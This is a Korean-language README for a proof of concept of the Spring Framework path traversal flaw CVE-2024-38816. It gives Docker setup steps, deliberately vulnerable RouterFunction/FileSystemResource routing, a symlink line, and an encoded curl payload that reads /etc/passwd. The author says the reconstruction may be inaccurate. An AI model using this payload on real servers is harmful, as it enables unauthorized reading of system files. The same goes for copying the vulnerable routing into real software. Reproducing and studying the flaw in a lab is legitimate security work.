
CVE-2024-38816 Proof of Concept
이 문서는 CVE-2024-38816 취약점에 대한 개념 증명(PoC)으로, 경로 탐색 공격을 시연합니다.
Docker 이미지를 빌드합니다: (Spring Boot 3.0.13, Spring Framework 6.0.3 기반)
docker build -t cve-2024-38816-poc .
컨테이너를 실행하고 호스트 머신에 포트 8080을 노출합니다:
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
다음 명령을 실행하여 PoC를 수행하고 취약점을 확인합니다:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
/etc/passwd 파일의 내용이 표시되면 취약점이 확인됩니다.
이 PoC는 릴리스 노트와 커밋 로그 분석을 기반으로 작성되었습니다. 실제 취약점의 동작은 다를 수 있으므로 정확성을 보장하지 않습니다. 사용에 따른 책임은 본인에게 있습니다.
취약점은 Spring Framework 6.1.13에서 패치되었으며, 릴리스 노트에서 확인할 수 있습니다.
릴리스 노트와 관련 커밋 로그를 검토한 결과, 이 취약점과 관련될 가능성이 있는 다음 두 가지 이슈를 확인했습니다:
보안 권고에 따르면 공격이 성공하려면 다음 조건이 충족되어야 할 가능성이 높습니다:
RouterFunctions가 사용됨FileSystemResource가 사용됨취약점 재현을 위해 Docker 환경을 사용합니다.
PathTraversalDemoApplication.java를 생성하고 다음 코드를 사용하여 RouterFunction과 FileSystemResource를 이용한 정적 파일 라우팅을 설정합니다:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Dockerfile에 다음 명령을 추가하여 심볼릭 링크를 생성합니다:
RUN ln -s /static /app/static/link
% 인코딩을 사용하여 심볼릭 링크를 통해 디렉터리를 탐색하는 페이로드를 생성합니다.
/static/link/%2e%2e/etc/passwd다음 curl 명령을 사용하여 PoC를 실행하고 공격이 성공했는지 확인합니다:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
공격이 성공하면 /etc/passwd 파일의 내용이 표시됩니다.
이 PoC는 교육 및 보안 연구 목적으로 제공됩니다. 실제 시스템에서 사용하기 전에 취약점이 패치되었는지 확인하고 적절한 권한을 획득하십시오. 작성자는 이 코드의 오용에 대해 책임을 지지 않습니다.